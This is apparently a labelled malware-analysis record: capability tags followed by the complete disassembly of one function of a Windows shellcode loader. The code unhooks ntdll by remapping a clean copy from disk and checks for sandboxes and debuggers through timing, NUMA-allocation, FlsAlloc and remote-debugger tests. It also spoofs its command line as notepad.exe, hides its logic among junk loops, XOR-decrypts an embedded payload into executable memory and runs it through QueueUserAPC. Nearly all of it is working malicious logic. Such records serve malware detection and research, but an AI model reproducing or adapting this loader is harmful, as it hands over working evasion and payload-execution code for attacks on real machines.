Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x860], ecx
mov qword [rbp + 0x868], rdx
call fcn.140002860
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x788], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
je 0x1400018b1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x788]
mov r10, qword [rbp + 0x828]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x780], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov qword [rbp + 0x758], rax
mov word [rbp + 0x826], 0
jmp 0x140001899
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x758]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x826]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001888
mov ecx, 0x2ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x2ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x81c], 0xaa
mov dword [rbp + 0x820], 0
jmp 0x140001789
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x748]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x748]
add rax, rdx
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0xaa
jle 0x1400016fc
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x768]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x826]
add eax, 1
mov word [rbp + 0x826], ax
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 6]
cmp word [rbp + 0x826], ax
jb 0x140001667
mov dword [rbp + 0x73c], 0
mov dword [rbp + 0x810], 0
mov ecx, 0x71c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x818], 0
jmp 0x140001989
mov dword [rbp + 0x814], 0
jmp 0x140001975
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
imul rcx, rdx, 0x8c
mov rdx, qword [rbp + 0x730]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x818]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x730]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000196e
add dword [rbp + 0x810], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x22
jle 0x1400018f4
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0xc
jle 0x1400018e5
cmp dword [rbp + 0x810], 0xe3
jne 0x1400019ac
mov dword [rbp + 0x73c], 1
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x798]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 1
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x724], 0x255
jmp 0x140001a79
mov edx, dword [rbp + 0x80c]
mov eax, dword [rbp + 0x808]
add eax, edx
mov dword [rbp + 0x614], eax
add dword [rbp + 0x804], 1
mov eax, dword [rbp + 0x808]
mov dword [rbp + 0x80c], eax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x808], eax
mov eax, dword [rbp + 0x804]
cmp eax, dword [rbp + 0x724]
jl 0x140001a46
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x5f6
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5f6
jne 0x140002795
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x714], 0x1fa
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x704], eax
mov eax, dword [rbp + 0x714]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x700], eax
mov eax, dword [rbp + 0x700]
sub eax, dword [rbp + 0x704]
cmp eax, 0x1c8
jbe 0x140002795
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x6f4], eax
cmp dword [rbp + 0x6f4], 0xffffffff
je 0x140002795
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x6e8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002795
mov qword [rbp + 0x7f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140001cbe
mov rax, qword [rbp + 0x6e0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x3000
mov r8d, 0x2cc
mov edx, 0
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140002795
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
jne 0x140002795
mov qword [rbp + 0x7f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140001d87
mov rax, qword [rbp + 0x6c8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x3000
mov r8d, 0x415
mov edx, 0
call rax
mov qword [rbp + 0x7f0], rax
cmp qword [rbp + 0x7f0], 0
je 0x140002795
mov dword [rbp + 0x5b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b0]
mov r8, qword [rbp + 0x6b8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b0]
cmp eax, 1
je 0x140002795
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
jne 0x140002795
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov ecx, 0
call rax
mov dword [rbp + 0x69c], eax
cmp dword [rbp + 0x69c], 0xffffffff
je 0x140002795
lea rax, [rbp + 0x100]
lea rdx, [0x140005140]
mov ecx, 0x94
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0x814
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x814
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x7e8], 0x204
mov dword [rbp + 0x7ec], 0
jmp 0x140001f59
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x204
jle 0x140001f0c
mov dword [rbp + 0x7ec], 0
jmp 0x140001fb8
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7e8], 1
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x204
jle 0x140001f71
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x674], 0
mov ecx, 0x6f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7e4], 0
jmp 0x1400020d1
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7e0], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x1bb
jle 0x140002055
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov r8d, 0
mov edx, 0x4a0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x660], rax
mov qword [rbp + 0x7d0], 0
mov dword [rbp + 0x65c], 0x291
mov dword [rbp + 0x7dc], 1
jmp 0x140002147
mov eax, dword [rbp + 0x7dc]
cdqe
add qword [rbp + 0x7d0], rax
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x65c]
jle 0x140002131
mov rax, qword [rbp + 0x660]
mov r9, qword [rbp + 0x678]
mov r8d, 0x4a0
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x7cc], 0x154
jmp 0x14000218e
sub dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0
jg 0x140002187
mov rax, qword [rbp + 0x798]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x4a0
mov rcx, rax
call r9
mov dword [rbp + 0x7c8], 0
mov dword [rbp + 0x7c4], 0
mov dword [rbp + 0x7c0], 0
movabs rax, 0x663bb0ae2bcd221c
movabs rdx, 0x9c844bbc7a57fe55
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x631f215a0374429e
movabs rdx, 0x867eec0e82ec3e85
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xe481ee4bc0be0c50
movabs rdx, 0x65731415f51ec63c
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x5cc524fa7d657314
movabs rdx, 0x5a6a05df3e36cc
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
mov ecx, 0x6f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x7bc], 0
jmp 0x14000233e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7bc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000230d
add dword [rbp + 0x7b8], 1
jmp 0x140002337
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002337
add dword [rbp + 0x7b4], 1
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x1bd
jle 0x14000229b
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xa404af631ecbe626
movabs rdx, 0x700695f222d0f6a1
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x348eb20f54cac791
movabs rdx, 0xd5087986421349d1
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x6c17d6c5eb865634
movabs rdx, 0x409159325f6dc5b2
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x6afc7791622bc2fc
movabs rdx, 0x3a3047698dbb93f3
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x6a36278d4e9bd871
movabs rdx, 0xf0848c616e920aab
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x6edb4411034aae77
movabs rdx, 0x6af59d9fc57463e3
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x520ef2679e33a2f3
movabs rdx, 0xf9e5a3a08e77a362
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x2140a4d6f9e5a3
mov qword [rbp + 0xed], rax
jmp 0x1400024ac
mov eax, dword [rbp + 0x7c8]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x7c4]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7c8]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x7c4], 0x3b
jne 0x14000249e
mov dword [rbp + 0x7c4], 0
jmp 0x1400024a5
add dword [rbp + 0x7c4], 1
add dword [rbp + 0x7c8], 1
mov eax, dword [rbp + 0x7c8]
cmp eax, 0x73
jbe 0x14000245e
mov dword [rbp + 0x7c8], 0
jmp 0x140002524
mov eax, dword [rbp + 0x7c8]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7c0]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x7c8]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7c0], 0x73
jne 0x140002516
mov dword [rbp + 0x7c0], 0
jmp 0x14000251d
add dword [rbp + 0x7c0], 1
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x49f
jle 0x1400024c3
mov ecx, 0xdf0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7ac], 0
mov dword [rbp + 0x7a8], 0
mov dword [rbp + 0x7b0], 0
jmp 0x1400025ae
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x37b
jle 0x140002561
mov dword [rbp + 0x7b0], 0
mov dword [rbp + 0x7b0], 0
jmp 0x14000262d
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400025fc
add dword [rbp + 0x7ac], 1
jmp 0x140002626
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002626
add dword [rbp + 0x7a8], 1
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x37b
jle 0x1400025d0
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7a4], 0xffffffff
mov ecx, 0x1c20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
add dword [rbp + 0x7a4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x618]
add rax, rdx
movsd xmm1, qword [0x1400055f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x618]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7a4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x618]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7a4], 0x382
jle 0x1400026b3
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x628]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x620]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8b8
pop rbx
pop rsi
pop rdi
pop rbp
ret